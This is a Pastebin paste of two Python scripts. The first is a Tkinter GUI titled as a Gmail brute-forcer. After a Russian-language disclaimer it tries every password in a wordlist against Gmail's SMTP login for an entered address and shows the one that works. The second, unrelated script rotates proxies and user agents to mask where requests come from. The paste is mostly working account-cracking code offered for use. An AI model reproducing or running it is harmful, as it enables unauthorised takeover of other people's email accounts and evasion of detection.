Advertisement
Guest User

dsds

a guest
Aug 16th, 2018
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.14 KB | None | 0 0
  1. import smtplib
  2. from tkinter import *
  3. toor = Tk()
  4. toor.title("Brutforce_Gmail_From_INKVIZ96")
  5. toor.geometry("620x400")
  6. toor.configure(bg="#455")
  7. dis = Label(toor, bg='#455', justify=LEFT, foreground='red', font='Arial 16', text=(" Данная программа представлена толька для ознакомления.\n Автор не несёт никакой ответсвенности за ваши действия.\n Нажимая кнопку 'Я согласен' вы соглашаетесь,\n что вы и только вы несёте ответственность за свои действия."))
  8. dis.pack()
  9. def click():
  10.     toor.destroy()
  11.     root = Tk()
  12.     root.title("Brutforce_Gmail_From_INKVIZ96")
  13.     root.geometry("500x400")
  14.     root.mail = Entry(justify='left', background="#555", foreground="#ccc", font="16", width="40")
  15.     root.mail.pack()
  16.     root.configure(bg='#455')
  17.     with open("passwords.txt") as file:
  18.         pas = [row.strip() for row in file]
  19.     count_pass = len(pas)
  20.     def click_button():
  21.         x = 0
  22.         addr = str(Entry.get(root.mail))
  23.         while x < count_pass:
  24.             try:
  25.                 smtpObj.login(addr, pas[x])
  26.                 pastext = Label(root, bg='#455', foreground='red', font='Arial 20', text=("Пароль:", pas[x]))
  27.                 pastext.pack()
  28.                 count = Label(root, bg='#455', foreground='red', font='Arial 20', text=("Паролей перебрал:", x, "/", count_pass))
  29.                 count.pack()
  30.                 break
  31.             except:
  32.                 x += 1
  33.  
  34.         else:
  35.             pass_df = Label(root, bg='#455', foreground='red', font='Arial 20', text=("Пароль не подобран!"))
  36.             pass_df.pack()
  37.  
  38.  
  39.     root.btn = Button(text="Начать", background="#555", foreground="#ccc", padx="20", pady="8", font="16",
  40.                       command=click_button)
  41.     root.btn.pack()
  42.     smtpObj = smtplib.SMTP('smtp.gmail.com', 587)
  43.     smtpObj.starttls()
  44.     root.mainloop()
  45.     smtpObj.quit()
  46. toor.btn_ds = Button(text="Я согласен", background="#555", foreground="#ccc", padx="20", pady="8", font="16", command=click)
  47. toor.btn_ds.pack(side="bottom", fill=Y, pady=10)
  48. toor.mainloop()
  49.  
  50.  
  51. import requests
  52. from bs4 import BeautifulSoup
  53. from random import choice
  54.  
  55.  
  56.  
  57.  
  58. def get_html(url, useragent=None, proxy=None):
  59.     r = requests.get(url, headers=useragent, proxies=proxy)
  60.     return r.text
  61.  
  62.  
  63. def get_ip(html):
  64.     soup = BeautifulSoup(html, 'lxml')
  65.     ip = soup.find('span', class_='ip').text.strip()
  66.     ua = soup.find('span', class_='ip').find_next_sibling('span').text.strip()
  67.     print(ip)
  68.     print(ua)
  69.  
  70.  
  71. def main():
  72.     url = 'http://sitespy.ru/my-ip'
  73.  
  74.     useragents = open('useragents.txt').read().split('\n')
  75.     proxies = open('proxy.txt').read().split('\n')
  76.  
  77.     for i in range(1):
  78.         proxy = {'http': 'http://' + choice(proxies)}
  79.         useragent = {'User-Agent': choice(useragents)}
  80.         try:
  81.             html = get_html(url, useragent, proxy)
  82.         except:
  83.             continue
  84.  
  85.         get_ip(html)
  86.  
  87. if __name__ == '__main__':
  88.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement